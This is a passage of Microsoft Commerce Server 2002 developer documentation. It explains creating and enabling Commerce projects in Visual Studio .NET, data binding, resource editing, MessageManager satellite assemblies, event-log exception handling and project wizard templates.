    Use Windows Integrated Security Select this option if you want to use Windows integrated security.

    When you use Windows integrated security, user names and passwords are not stored in the SQL Server connection string, and are not affected by SQL Server password resets. For information about Commerce Server 2002 security, see Securing Your Site.
    Use a specific user name and password | Select this option if you want to use SQL Server authentication when connecting to the databases.
    SQL Server Login Name Type a SQL Server login user name that has permissions on the SQL Server computer on which the site databases are to be created.

    Note

    • For security purposes, do not use the sa login for access to the databases. To change the login information for the Administration database after it is created, use SQL Server Enterprise Manager.
    SQL Server Login Password | Type the SQL Server login password for the databases.
  7. Click Next.
  8. In the Data Warehouse dialog box, do the following:
    Use this | To do this
    Name | Type the name you want to give to the pointer to the global Data Warehouse resource.
    Server | Type the name of the SQL Analysis Services computer that the Data Warehouse will use.
    Database | Type the name of the Analysis Services database.
  9. Click OK.
  10. In the Profiling System dialog box, accept the default .xml files, and then click Next.
  11. In the next Profiling System dialog box, accept the default .xml files, accept the default connection string and schema definition scripts, and then click OK.

A new C# or Visual Basic .NET Commerce Server project is created.

To enable a Commerce Server project to an existing Commerce Server site

  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, and then click Microsoft Visual Studio .NET.
  2. On the File menu, point to New, and then click Project.
  3. In the New Project dialog box, do the following:
    Use this | To do this
    Project Types | Select Commerce Projects.
    Templates | From the list, select New Commerce C# Project in Existing Site or select New Commerce VB Project In Existing Folder.
    Name | Type the name for the existing Commerce Server site.
  4. Click OK.
  5. In the Open dialog box, navigate to your existing Commerce Server site folder, select the Commerce Server Application ini file (csapp.ini), and then click Open.

A new Commerce Server project is created in Visual Studio .NET with all the current site files added to the project.

See Also

Using the Developer Portal

Enabling Commerce Server in an Existing Web Project

Creating a Commerce Server Package for the Project Creation Wizard

Removing Commerce Server from your Web Project


Using the Developer Portal

The Developer Portal is suite of Commerce Server tools integrated with Visual Studio .NET, the Developer Portal includes a project creation wizard that enables developers to create Commerce Server projects from the Visual Studio .NET environment, and schema designers to create profiling and product catalog systems that are hosted in the Visual Studio .NET environment.

Using the Developer Portal you can access the following:

  • DataBinding Expression Builder
  • Commerce Server Resources
  • Commerce Server Manager
  • Pipeline Editor
  • Business Desk application
  • Catalog Definition Designer
  • Profile Definition Designer

Note

  • The Developer Portal tools are only available in Commerce Projects. For more information about creating a Commerce Project or adding Commerce Server to your existing Projects, see Creating a Commerce Project and Enabling Commerce Server in an Existing Web Project.

This section contains:

  • Binding Commerce Data to a Web Form
  • Adding and Modifying Application Resources
  • Accessing Commerce Server Manager
  • Accessing the Pipeline Editor
  • Accessing Business Desk
  • Accessing the Catalog Definition Designer
  • Accessing the Profile Definition Designer


Binding Commerce Data to a Web Form

Most Web sites must display catalog, profile, and order data to users. To display this information on Commerce Server ASP.NET-based sites you must complete three main steps: choosing the appropriate Web server control, binding the data to the Web server control, and adding the databinding expression to the Web server control template. When you are familiar with the underlying schema of the data source to which a control is bound, creating these databinding expressions is not difficult. However, because the underlying schema and the names used to access data elements in Commerce Server 2002 are often hidden or abstracted, creating these expressions on your own could be difficult.

To simplify this task for developers, Commerce Server 2002 includes the DataBinding Expression Builder. The DataBinding Expression Builder helps you generate databinding expressions by representing the various data elements in a Commerce Server data source in the DataBinding Expression Builder user interface, and allows you to copy and paste the generated databinding expression to the template of a Web server control.

This topic walks you through the steps involved in binding commerce data to a Web form.

Choosing the appropriate Web server control

Binding data to the Web server control

Adding the databinding expression to the Web form

Choosing the Appropriate Web Server Control

When adding a Web control to your .aspx file, you must determine which Web control will properly render the data onto the page. Any single-valued instance, such as a property name, can be displayed by using the Label, Text Box, or Button Web server controls. Multi-valued instances, such as catalogs, profiles, and order forms, can only be bound to certain Web server controls. The following guidelines should be used when using the DataBinding Expression Builder to bind multi-valued instance data to Web server controls in a Commerce Server project.

Web server controls to bind to | Commerce Server namespace | Guidelines
DataGrid DataList ListBox RadioButton Repeater | Microsoft.CommerceServer.Runtime.Catalog | Bind to methods that have a DataSet return value. You can bind to any DataSet returned by any method in the Catalog namespace.
DataGrid DataList ListBox RadioButton Repeater | Microsoft.CommerceServer.Runtime.Orders | Bind to data returned by methods that implement the System.Collections.Icollection.
DataGrid DataList ListBox RadioButton Repeater | Microsoft.CommerceServer.Runtime.Profiles | Bind to the Profile or PropertyGroup class.

After you have determined which Web server control is appropriate for the data you wish to display, complete the following procedure to add it to your Web form (the .aspx file).

To add the Web server control to the Web form

  1. In Microsoft Visual Studio .NET, on the File menu, point to Open, and then click Project.
  2. In the Open Project dialog box, select the project that contains the Web form you want to modify, and click Open. The project opens.
  3. On the View menu, select Toolbox. The Toolbox opens.
  4. In the Toolbox, click the Web server control you want to add to your Web form and drag the control to the Form design surface. Drop the control on the form.

Binding Data to the Web Server Control

After adding the Web server control to the Web form, you need to add code to bind the data to the Web server control on the codebehind page (the .aspx.cs file). First you must set the data to the Web server control, and then call the DataBind method. For example:

ProductListing.DataSource = CommerceContext.Current.CatalogSystem.GetCatalog(“Adventure Works Catalog”).GetRootProducts();
ProductListing.DataBind();

The following code samples show how to bind data to a Web server control:

Code to set shipping methods on a basket on an ASP .NET Web form

Code to manipulate a basket in an ASP .NET Web form

Code to retrieve and display profile properties

Code to list catalogs on an ASP .NET Web form

Adding the DataBinding Expression to the Web Form

After adding the Web server control to the Web form and binding the data to the Web server control, you can add the databinding expression to the Web form. The databinding expression ensures that the correct portion of data bound to the Web server control is displayed. For example, if you bind a catalog to the Web server control, but only want to display the name of the catalog, you must choose the databinding expression for the CatalogName value.

To simplify the creation of databinding expressions, Commerce Server 2002 includes the DataBinding Expression Builder. The DataBinding Expression Buidler creates syntactically correct expressions based on the schema of a given data source. The expressions created by the DataBinding Expression Builder can be used in two forms:

  • Simple form. Use this to create a nonformatted expression based on the data in the current container.
  • Formatted form. Use this to create a formatted expression based on the data in the current container. This option is most useful when you need to include price, date, or time information in a specific format.

Additionally, you can select an advanced option, which you use to manipulate the generated databinding expression before inserting it into the Web form.

Note

  • The DataBinding Expression Builder is only available in Commerce projects. For more information about creating a Commerce Project, see Creating a Commerce Project.

To create an expression using the DataBinding Expression Builder and add it to the Web form

  1. On the Project menu, point to Commerce Server Project, and then click DataBinding Expression Builder.
  2. In the Commerce DataBinding Expression Builder dialog box, do the following:
    Use this | To do this
    Data Source | Select the source of the data you want to bind from the drop-down menu.
    Data Source Tree View Expand the property group nodes and select the property you want to bind.

    To select more than one property, press the CTRL key while selecting the additional properties.
    Simple Form | Select this option to get the simple form of the expression.
    Formatted Form | Select this option to get the DataBinder.Eval(), or formatted form of the expression.
    Edit Expression | Select this option to manipulate the Simple Form or Formatted Form of the expression.
  3. To copy the expression to the clipboard, click Copy.
  4. To close the Commerce DataBinding Expression Builder dialog box, click Close.
  5. On the Tools menu, click Class View.
  6. On the Class View tab of the Solutions Explorer window, double-click the Web form to which you want to add the expression.
  7. On the Web form code page, in HTML view, place the cursor within the template of the Web server control to which you want to apply the databinding expression.
  8. On the Tools menu, click Paste.

    The expression now appears on the Web form.

  9. Repeat steps 1 through 8 for each expression you want to add to the Web form.
  10. When you have finished, on the File menu, click Save to save the Web form.

You can now rebuild the project, and view the changes in the application.


Adding and Modifying Application Resources

A resource is an entity that provides functionality to the applications in a Commerce Server site. There are two types of resources: global resources and site resources. Global resources are available for use by all sites; site resources provide functionality to a specific site.

Resources include properties that are stored in the Commerce Server Administration database. These properties can be accessed and changed by using the Commerce Server Resources window in Visual Studio .NET.

The Commerce Server 2002 Resource tools window is only available in Commerce Projects. For more information about creating a Commerce Project, see Creating a Commerce Project.

The following table lists and describes the resources in Commerce Server 2002 that appear in the Resource tool window:

Resource | Description | Type
App Default Config | Stores properties that you use to configure a site, such as currency locale and symbols, billing and payment options, privacy options, unit of measure for weight, and options for integrating with Microsoft BizTalk Server 2000 and later. | Site
Business Desk Permissions | Connects to the database that stores data such as security identifiers and definitions that are used to secure the Business Desk user interface. | Site
Profiles | Creates data sources for storing profile data, and creates and stores profile definitions and properties. | Global
Campaigns | Connects to the database that stores data about campaigns (ads, discounts, and direct mail). | Site
Direct Mailer | Sends personalized or non-personalized mailings to large groups of recipients. | Global
Data Warehouse | Imports and manages Web site data from Web log files, Commerce Server databases, and other data sources. | Global
Predictor | Adds predictive capabilities to your Web site, and builds complex analysis models that you can use to identify population segments and user trends. | Global
Product Catalog | Connects to the database that stores catalog schema and product data. | Site
Transactions Config | Connects to the database that stores data for shipping methods and rates, tax rates, state and region codes, and order status codes. | Site
Transactions | Connects to the database that stores data for baskets and orders. | Site

To open the Commerce Server Resources tool window

  • On the Project menu, point to Commerce Server Project, and then click Resources.

The Commerce Server Resources tool window opens. Use this tool window to view or edit Commerce Server resource properties.

Important

  • If you add a Commerce Server resource, you will be prompted to select a Commerce Server PuP package. You can select a Commerce Server package that contains the selected resource or you can use the Commerce Server Blank site package located at <drive>:\Program Files\Microsoft Commerce Server 2002\PuP Packages\.
  • If you change a connection string in a Commerce Server resource, you must restart IIS or the Visual Studio .NET application. For information about restarting IIS, see Restarting IIS and Commerce Server Services.

To edit Commerce Server resource properties

  1. In the Commerce Server Resources window, expand the Commerce Server Web application, and then select the resource you want to edit.
  2. On the View menu, click Properties.
  3. In the Properties window, select and edit the resource properties.

See Also

Managing Commerce Resources


Accessing Commerce Server Manager

Commerce Server Manager is a tool that you use to manage and configure Commerce Server 2002 resources, sites, applications, and Web servers. The Microsoft Management Console (MMC), a Windows-based interface that is included in Microsoft Windows 2000, hosts Commerce Server Manager.

The functionality in Commerce Server Manager is not available through either Web-based or command line administration. Instead, most of this functionality is accessed and manipulated through Component Object Model (COM) objects, so it is possible for you to write a Windows Script Host (WSH) script or an Active Server Pages (ASP) page to extend the administration environment.

To access Commerce Server Manager

  • On the Project menu, point to Commerce Server Project, and then click Commerce Server Manager.

Note

  • You can access Commerce Server Manager by clicking Commerce Server Manager in the Commerce Server Resources window.

See Also

Integrating Custom Resources


Accessing the Pipeline Editor

The Pipeline Editor is an application used for creating and editing Commerce Server pipelines. You can use it to edit a pipeline on your local computer or on a computer connected to a local area network (LAN).

Pipelines are described in pipeline configuration (.pcf) files. You create and configure .pcf files with the Pipeline Editor.

The Pipeline Editor displays a pipeline as a pipe, showing the stages of the pipeline as pipe segments. The components used in a stage appear as valves.

Certain components have an "affinity" with certain stages. This means that the component was designed for use within that stage. Commerce Server does not enforce this stage and component association. You can include any component in any stage.

To access the Pipeline Editor

  • On the Project menu, point to Commerce Server Project, and then click Pipeline Editor.


Accessing Business Desk

Commerce Server Business Desk hosts business management modules that you use to configure, manage, and analyze your sites. For example, you use Business Desk modules to create multilingual catalogs, update pricing information in your catalogs in multiple currencies, target new advertisements to specific users, and then run reports to measure how these changes affect site productivity.

Business Desk includes targeted, role-based security, which means that Business Desk users can view and manage only those modules for which they are authorized, and they can perform only the specific tasks for which they are authorized.

To access the Business Desk

  • On the Project menu, point to Commerce Server Project, and then click Business Desk.

Important

  • When you use Business Desk in Microsoft Visual Studio .NET, and you want to import an XML catalog file that is on your local computer or a remote client, you must do one of the following:
    • Move the local file to the server, and then import the XML file on the server.
    • Run Business Desk outside of Visual Studio .NET, and import the XML catalog file.
    • Change your security settings in Internet Explorer to enable or prompt for running unsafe components, and then import the XML catalog file from the local computer. This option is not recommended because it compromises the security of your computer.


Accessing the Catalog Definition Designer

You use the Catalog Definition Designer to view, create, or modify catalog schema and category and product definitions. You can access the Catalog Definition Designer by using Microsoft Visual Studio .NET.

To access the Catalog Definition Designer from Visual Studio .NET

  • On the Project menu, point to Commerce Server Project, and then click Catalog Definition Designer.

The Catalog Definition Designer opens.

Important

  • When you use Business Desk in Visual Studio .NET, and you want import an XML catalog file that is on your local computer or a remote client, you must do one of the following:
    • Move the local file to the server, and then import the XML file on the server.
    • Run the Business Desk outside of Visual Studio. NET, and import the XML catalog file.
    • Change your security settings in Internet Explorer to enable or prompt for running unsafe components, and then import the XML catalog file from local computer. This option is not recommended because it compromises the security of your computer.

See Also

Creating a Catalog Definition


Accessing the Profile Definition Designer

You use the Profile Definition Designer to view, create, or modify the profiles used in your Commerce Server site. You can also map the properties of existing profiles to new data sources, delete existing profiles and profile properties, and configure new data sources. You can access the Profile Definition Designer by using Microsoft Visual Studio .NET.

To access the Profile Definition Designer from Visual Studio .NET

  • On the Project menu, point to Commerce Server Project, and then click Profile Definition Designer.

The Profile Definition Designer opens.

See Also

Creating a Profile Definition


Enabling Commerce Server in an Existing Web Project

You can enable Commerce Server functionality in an existing non-Commerce Server Web service, Visual Basic .NET, C#, or an empty Web project.

After you enable Commerce Server in your existing project, the Commerce Server Site adds Commerce Server resources, sites, and the Business Desk application. The Project Creation Wizard also modifies your existing project file to incorporate Commerce Server-specific configuration settings and Commerce Server assembly references. These configuration settings are in the application level web.config file. The httpModules element and a Commerce Server node are also added to your existing project.

To enable Commerce Server in an existing Web project

  1. Open a non-Commerce Server project in Visual Studio .NET.
  2. On the toolbar, click Project, point to Commerce Server Project, and then click Enable Commerce Server. The Commerce Server Project Wizard starts.
  3. In the Commerce Application Project Wizard Welcome dialog box, click Next.
  4. In the Commerce Server Site Packager Quick Unpack dialog box, do the following:
    Use this | To do this
    Site name | Type a name for the site, or retain the name of your existing project.
    IIS Web site | Select the name of the Internet Information Services (IIS) 5.0 Web site where the applications will be installed.
    SQL Server Computer | Type the name of the SQL Server computer on which you want the site databases to be created.
    Use Windows Integrated Security Select this option if you want to use Windows integrated security.

    When you use Windows integrated security, user names and passwords are not stored in the SQL Server connection string, and are not affected by SQL Server password resets. For information about Commerce Server 2002 security, see Securing Your Site.
    Use a specific user name and password | Select this option if you want to use SQL Server authentication when connecting to the databases.
    SQL Server Login Name Type a SQL Server login user name that has permissions on the SQL Server computer on which the site databases are to be created.

    Note

    • For security purposes, do not use the sa login for access to the databases. To change the login information for the Administration database after it is created, use SQL Server Enterprise Manager.
    SQL Server Login Password | Type the SQL Server login password for the databases.
  5. Click Next.
  6. In the Data Warehouse dialog box, do the following:
    Use this | To do this
    Name | Type the name you want to give to the pointer to the global Data Warehouse resource.
    Server | Type the name of the SQL Analysis Services computer that the Data Warehouse will use.
    Database | Type the name of the Analysis Services database.
  7. Click OK.
  8. In the Profiling System dialog box, accept the default .xml files, and then click Next.
  9. In the next Profiling System dialog box, accept the default .xml files, accept the default connection string and schema definition scripts, and then click OK.

Commerce Server is now enabled in your existing Web project.

See Also

Creating a Commerce Project


Using MessageManager

If you are using the MessageManager object to manage localized message handling through the rc.xml file, you use the RCXml2Resx tool (located in the Commerce Server 2002 folder) to convert your rc.xml file to .resx files, and then create satellite assemblies for the MessageManager object using the .resx files. Commerce Server uses satellite assemblies to store language-dependent string resources.

To implement message management, do the following:

  1. Convert rc.xml files to .resx files by using the RCXml2Resx tool.
  2. Convert .resx files to resource files by using the Microsoft .NET Resource Generator (ResGen) tool.
  3. Generate satellite assemblies by using the Microsoft Assembly Linker (Al.exe) tool.
  4. Obtain the base name for your satellite assemblies.
  5. Edit the web.config file to modify the messageManager tag to include information about the satellite assemblies.

Note

  • You can also generate satellite assemblies by using the Visual Studio .NET integrated development environment (IDE). If choose to use the Visual Studio .NET IDE, you can skip steps 2 and 3. For information about how to use the Visual Studio .NET IDE to build satellite assemblies, see To build satellite assemblies using Visual Studio .NET.

To convert rc.xml files to .resx files

To convert .resx files to resource files

To create satellite assemblies

To build satellite assemblies using Visual Studio .NET

To obtain the base name for your satellite assemblies

To edit the web.config file

To convert rc.xml files to .resx files

  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, point to Visual Studio .NET Tools, and then click Visual Studio .NET Command Prompt.
  2. In the Visual Studio .NET Command Prompt window, type RCXml2Resx <XMLFilePath> <outputfilename[.ext]>.

    For example, RCXml2Resx c:\rc.xml c:\rc.resx will convert the rc.xml file located on C:\ to a new rc.resx file and place it on C:\.

Notes

  • The RCXml2Resx tool generates one .resx file for each language in the XML file.
  • If outputfilename is not specified then it will be the same as the name of the XML file.
  • If .ext is not specified then the default extension will be .resx.

To convert .resx files to resource files

  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, point to Visual Studio .NET Tools, and then click Visual Studio .NET Command Prompt.
  2. In the Visual Studio .NET Command Prompt window, type ResGen <inputFile.ext> [<outputFile.ext>].

To create satellite assemblies

  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, point to Visual Studio .NET Tools, and then click Visual Studio .NET Command Prompt.
  2. In the Visual Studio .NET Command Prompt window, type al /embed:<Resource> /culture:<culture name> /out:<filename>

    For example, al /embed:MessageManagerResources.en-US.resources /culture:en-US /out:C:\inetpub\wwwroot\CommerceWebApplication\bin\en-us\CommerceWebApplication.resources.dll will create the satellite assembly for the En-US culture for the MessageManagerResource.en-US resource.

To build satellite assemblies using Visual Studio .NET

  1. Copy the .resx files (from the first procedure) to your Commerce Server Project directory.
  2. Start Visual Studio .NET and open your Commerce Project.
  3. On the toolbar, click File, and then click Add Existing Items.
  4. In the Add Existing Item - <Project Name> dialog box, select the .resx files you copied in step 1, and then click Open.
  5. On the toolbar, click Build, and then click Build Solution.

Visual Studio .NET will generate the satellite assemblies for you.

To obtain the base name for your satellite assemblies

Notes

  • If you are building the satellite assemblies by using the Microsoft Assembly Linker, then the base name will be the name of your resource file. For example, if you created a resource file named MessageManagerResources.en-US.resources, then the base name will be MessageManagerResources.
  • If you are using Visual Studio .NET to build your satellite assemblies, then follow these steps to get the base name.
  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, point to Visual Studio .NET Tools, and then click Visual Studio .NET Command Prompt.
  2. In the Visual Studio .NET Command Prompt window, type ildasm <satellite assembly>.resources.dll
  3. Click MANIFEST.

    You will see a section that looks like .mresource public 'BaseName.en-US.resources'.

    For example, if you see the section 'CommerceWebApplication.MessageManagerResources.en-US.resources', then CommerceWebApplication.MessageManagerResources is the base name for your satellite assembly, and you must use this to edit the web.config file.

To edit the web.config file

  1. Open the web.config file and go to the messageManager tag.
  2. In the messageManager tag, do the following:
    <messageManager>
<cultures default="<type default culture name>" BaseName="<Type the Resource Name. See To obtain the base name for your Satellite Assemblies>" assembly="<Name of the Satellite Assembly containing your resources>">
               <culture id="<Your Culture ID 1>" />
               <culture id="<Your Culture ID 2>" />
                .
                .
               <culture id="<Your Culture ID N>" />
       </cultures>
       <resources>
               <resource id="<Your Resource ID" />
       </resources>
</messageManager>

Your message management system will now use the Commerce Server .NET Application Framework.

See Also

An Example Using MessageManager


An Example Using MessageManager

In this example, you will convert an existing rc.xml file that supports EN-US and FR-FR cultures to .resx files, generate resources and satellite assemblies, and then modify the web.config file.

For this example, the base name of the resources is MessageManagerResources, as specified in the sample web.config file.

Viewing the rc.xml File

Using the RCXML2Resx Tool

Generating Satellite Assemblies Using the Command Prompt

Editing the web.config File

Viewing the rc.xml File

The sample format of the rc.xml file is as follows:

<?xml version="1.0"?>
<MessageManager>
        <Language Name="English"    Locale="1033"/>
        <Language Name="French"     Locale="1036"/>
        <Entry Name=" pur_badsku" Type="_Basket_Errors ">
                <Value Language="English"> Please note that one or more
                       items were removed from your order because the
                       product is no longer sold.
                </Value>
                <Value Language="French"> Notez qu'un ou plusieurs
                       articles ont été supprimés de votre commande car le
                       produit n'est plus en vente.
                </Value>
          </Entry>
</MessageManager>

Using the RCXML2Resx Tool

The sample command syntax is as follows:

  • RCXML2Resx C:\Inetpub\wwwroot\CommerceWebApp\rc.xml MessageManagerResources.resx

This will generate the following files in the current directory:

  • MessageManagerResources.en-US.resx
  • MessageManagerResources.fr-FR.resx

MessageManagerResources is the base name used for this example. You can use a different base name to generate .resx files.

Generating Satellite Assemblies Using the Command Prompt

Creating satellite assemblies by using the command prompt is a three-step process:

  1. Use the following commands to create the resource files:
    • resgen MessageManagerResources.en-US.resx
    • resgen MessageManagerResources.fr-FR.resx
  2. Make sure that both folders, en_US and fr_FR, are created under the \Bin folder under the Commerce Server project. In this example, the Commerce Server project name is CommerceWebApp, and it is located at C:\Inetpub\wwwroot\.
  3. Generate satellite assemblies for each culture and place them in the appropriate folders. At the command prompt, type:
    • al /embed:MessageManagerResources.en-US.resources /culture:en-US /out:C:\Inetpub\wwwroot\CommerceWebApp\bin\en-us\CommerceWebApplication.resources.dll
    • al /embed:MessageManagerResources.fr-FR.resources /culture:fr-FR /out:C:\Inetpub\wwwroot\CommerceWebApp\bin\fr-FR\CommerceWebApplication.resources.dll

Alternatively, you can use Visual Studio .NET to generate your satellite assemblies. Visual Studio .NET automatically creates the resources and directories for you. For information about using Visual Studio .NET to generate satellite assemblies, see To build satellite assemblies using Visual Studio .NET

Editing the web.config File

The final step in using the MessageManager object is to edit the web.config file. In this example, information provided earlier is entered in the messageManager tag in the web.config file.

The sample web.config file is as follows:

 <messageManager>
<cultures default="en-US" BaseName="MessageManagerResources" assembly="CommerceWebApplication">
               <culture id="en-US" />
               <culture id="fr-FR" />
       </cultures>
       <resources>
               <resource id="pur_badsku" />
       </resources>

</messageManager>


Logging Site Exceptions to the NT Event Log

The global.asax file in a Commerce Server ASP.NET site contains the Application_Error event that handles exceptions not handled by individual pages. This event should handle logging, notifications, and any other processing needed before you return a user-friendly error to the site user.

In the Application_Error event, the Server.GetLastError method is used to obtain a reference to the unhandled exception object. The following code is from the global.asax file and shows the Application_Error event.

// In global.asax file
protected void Application_Error(Object sender, EventArgs e)
{
Exception exc = Server.GetLastError();
// Perform logging, send any notifications, and so on.
    }

The Server.ClearError method can be used to clear the exception and stop any further propagation. For example, the page might have a Page_Error event that uses to Server.GetLastError method to access the unhandled exception object. If you do not clear the exception by using the Server.ClearError method, the unhandled exception will continue to propagate up to the Application_Error event. If you use Server.ClearError method to clear the exception in the Application_Error event, the defaultredirect setting in the web.config file will not redirect the user because the unhandled exception no longer exists. If you want the defaultredirect setting to properly redirect users, do not clear the exception in the Application_Error event.

The following is a sample implementation of the Application_Error event that will log the exception to the event log file using the Commerce Server Commerce.AdminEventLog object.

Note

  • You will need to add a reference to MSCSAdmin.dll to use this object from your ASP.NET pages.
        using AdminLib;        // For the Commerce.AdminEventLog object.

        protected void Application_Error(Object sender, EventArgs e)
        {
            Exception ex = Server.GetLastError();
            string sLogMsg = null;

            try
            {
                // You do not need to log the HttpUnhandledException that
                // ASP.NET wrapped the exception in.
                if ((ex as System.Web.HttpUnhandledException) != null)
                    ex = ex.InnerException;

                // Format message for the main exception.
                sLogMsg = string.Format("Unhandled exception.  Type={0} Msg={1}\nStackTrace=\n{2}",
                    ex.GetType().FullName, ex.Message, ex.StackTrace);

                // Format the message for any inner exceptions.
                while ((ex = ex.InnerException)!= null)
                {
                    sLogMsg += string.Format("\n\nInner exception.  Type={0} Msg={1}",
                        ex.GetType().FullName, ex.Message);
                    COMException ce = ex as COMException;
                    if (ce != null)
                        sLogMsg += "\nCOM Exception errcode = " + ce.ErrorCode.ToString();
                }
            }
            catch
            {
            }
            finally
            {
                // Log the event to the event log.
                AdminEventLog logger = new AdminEventLogClass();
                logger.WriteErrorEvent(CommerceApplicationModule.SiteName, sLogMsg);
            }
        }

The EventLog type in the System.Diagnostics namespace could also be used to log the exceptions. Applications that need to write to the Application event log can do so while running as the ASPNET account. If an application needs to create a new event log category, it must create a registry key under the HKLM hive, which the ASPNET account cannot do. If impersonation is enabled and a privileged account is impersonated, the category can be created at run time. Otherwise, an administrator can create the category and the application can write to it at run time.

Applications that need to create new event log categories should create the categories at installation. Once the category is created, the ASPNET account can write to the log file.

See Also

Extending Commerce Events


Creating a Commerce Server Package for the Project Creation Wizard

When you build a custom Commerce Server Site package to work with the Custom option of the Project Creation Wizard, you must create template site files for that package. The template site files are a collection of text files that contain some simple directives. They are parsed and rendered according to user input to the wizard and then added to the Commerce Server project. The information for parsing the templates is obtained by directly accessing the symbol table of the Project Creation Wizard.

Commerce Server Site files follow a template structure similar to the one defined by Visual Studio .NET. For information about template directives used in the Project Creation Wizard template file, see "Template Directives" in Microsoft Visual Studio .NET Help.

Any site that contains template files must include a file named template.ini. This file can be empty of content and will be deleted at the end of the wizard process. It merely signals that the files should be parsed for symbols.

The site must include a web.config file with a valid defaultLanguage attribute on the compilation node. The defaultLanguage attribute must be set to either c# (C#) or vb (Visual Basic .NET).

Notes

  • In Commerce Server 2002, Visual Basic .NET and C# are the only languages supported by the Project Creation Wizard.
  • If the file DynamicDisco.disco is present in the root directory of the site, the Project Creation Wizard will be rename it to <sitename>.disco.

Commerce Server Variables

Sample C# Form Page

Sample C# Codebehind Page

Sample C# AssemblyInfo.vb Page

Sample Visual Basic .NET Form Page

Sample Visual Basic .NET Codebehind Page

Sample Visual Basic .NET AssemblyInfo.vb page

Commerce Server Variables

You use the following Commerce Server variables when creating the Project Creation Wizard template files:

Variable | Description
WIZARD_NAME Specifies the name of the wizard.

WIZARD_NAME will always be Commerce Custom Web Project for package files processed by the Custom option of the Project Creation Wizard.
PROJECT_TYPE Specifies the Visual Studio .NET project type.

This will be either VBPROJ or CSPROJ, and is determined by the defaultLanguage attribute of the compilation tag in the site’s web.config file.

The defaultLanguage attribute must be set to either c# (C#) or vb (Visual Basic .NET).

Note

  • In Commerce Server 2002, Visual Basic .NET and C# are the only languages supported by the Project Creation Wizard.
SHARED_PATH Specifies the shared commerce files folder.

SHARED_PATH is usually set to: <drive>:\Program Files\Common Files\Microsoft Shared\Enterprise Servers\Commerce.
COMMERCE_PATH Specifies the Commerce Server install path.

COMMERCE_PATH is usually set to: <drive>:\Program Files\Microsoft Commerce Server 2002.
DEFAULT_SERVER_SCRIPT Specifies the default server script language.

DEFAULT_SERVER_SCRIPT is either JavaScript or VBScript depending upon the default settings of the user.
DEFAULT_CLIENT_SCRIPT Specifies the default server script language.

DEFAULT_CLIENT_SCRIPT is either JavaScript or VBScript depending upon the default settings of the user.
DEFAULT_TARGET_SCHEMA | Specifies one of the following target schemas depending upon the default settings of the user: http://schemas.microsoft.com/intellisense/ie3-2nav3-0, http://schemas.microsoft.com/intellisense/ie5, or http://schemas.microsoft.com/intellisense/nav4-0.
DEFAULT_HTML_LAYOUT | Specifies either FlowLayout or GridLayout depending upon the default settings of the user.
GUID_ASSEMBLY | Specifies the assembly GUID for use in an assemblyinfo.vb file (if present).
SAFE_CLASS_NAME Specifies the safe class name for the current page.

This symbol is only available for C# projects.
SAFE_NAMESPACE_NAME Specifies the safe namespace for the current project.

This symbol is only available for C# projects.
SAFE_ITEM_NAME Specifies the safe class name for the current page.

This symbol is only available for C# projects.

Sample C# Form Page

Following is a sample form page in C#:

<%@ Page language="c#" Codebehind="$FILENAME$.cs" AutoEventWireup="false" Inherits="$INHERITS$" %>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >

<html>
  <head>
    <title>[!output SAFE_ITEM_NAME]</title>
    <meta name="GENERATOR" Content="Microsoft Visual Studio 7.0">
    <meta name="CODE_LANGUAGE" Content="C#">
    <meta name=vs_defaultClientScript content="[!output DEFAULT_CLIENT_SCRIPT]">
    <meta name=vs_targetSchema content="[!output DEFAULT_TARGET_SCHEMA]">
  </head>
  <body MS_POSITIONING="[!output DEFAULT_HTML_LAYOUT]">

    <form id="Form1" method="post" runat="server">

    </form>

  </body>
</html>

Sample C# Codebehind Page

using System;
using System.Collections;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Web;
using System.Web.SessionState;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.HtmlControls;
using Microsoft.CommerceServer.Runtime;

namespace [!output PROJECT_NAME]
{
   /// <summary>
   /// Summary description for _Default.
   /// </summary>
   public class _Default : System.Web.UI.Page
   {
      private void Page_Load(object sender, System.EventArgs e)
      {
         // Put user code to initialize the page here
      }

      #region Web Form Designer generated code
      override protected void OnInit(EventArgs e)
      {
         //
         // CODEGEN: This call is required by the ASP.NET Web Form Designer.
         //
         InitializeComponent();
         base.OnInit(e);
      }

      /// <summary>
      /// Required method for Designer support - do not modify
      /// the contents of this method with the code editor.
      /// </summary>
      private void InitializeComponent()
      {
         this.Load += new System.EventHandler(this.Page_Load);
      }
      #endregion
   }
}

Sample C# AssemblyInfo.vb Page

Following is a sample assemblyinfo.vb page in C#:

using System.Reflection;
using System.Runtime.CompilerServices;

//
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
//
[assembly: AssemblyTitle("")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("")]
[assembly: AssemblyCopyright("")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]

//
// Version information for an assembly consists of the following four values:
//
//      Major Version
//      Minor Version
//      Build Number
//      Revision
//
// You can specify all the values or you can default the Revision and Build Numbers
// by using the '*' as shown below:

[assembly: AssemblyVersion("1.0.*")]

//
// In order to sign your assembly you must specify a key to use. Refer to the
// Microsoft .NET Framework documentation for more information on assembly signing.
//
// Use the attributes below to control which key is used for signing.
//
// Notes:
//   (*) If no key is specified, the assembly is not signed.
//   (*) KeyName refers to a key that has been installed in the Crypto Service
//       Provider (CSP) on your machine. KeyFile refers to a file which contains
//       a key.
//   (*) If the KeyFile and the KeyName values are both specified, the
//       following processing occurs:
//       (1) If the KeyName can be found in the CSP, that key is used.
//       (2) If the KeyName does not exist and the KeyFile does exist, the key
//           in the KeyFile is installed into the CSP and used.
//   (*) In order to create a KeyFile, you can use the sn.exe (Strong Name) utility.
//        When specifying the KeyFile, the location of the KeyFile should be
//        relative to the "project output directory". The location of the project output
//        directory is dependent on whether you are working with a local or web project.
//        For local projects, the project output directory is defined as
//       <Project Directory>\obj\<Configuration>. For example, if your KeyFile is
//       located in the project directory, you would specify the AssemblyKeyFile
//       attribute as [assembly: AssemblyKeyFile("..\\..\\mykey.snk")]
//        For web projects, the project output directory is defined as
//       %HOMEPATH%\VSWebCache\<Machine Name>\<Project Directory>\obj\<Configuration>.
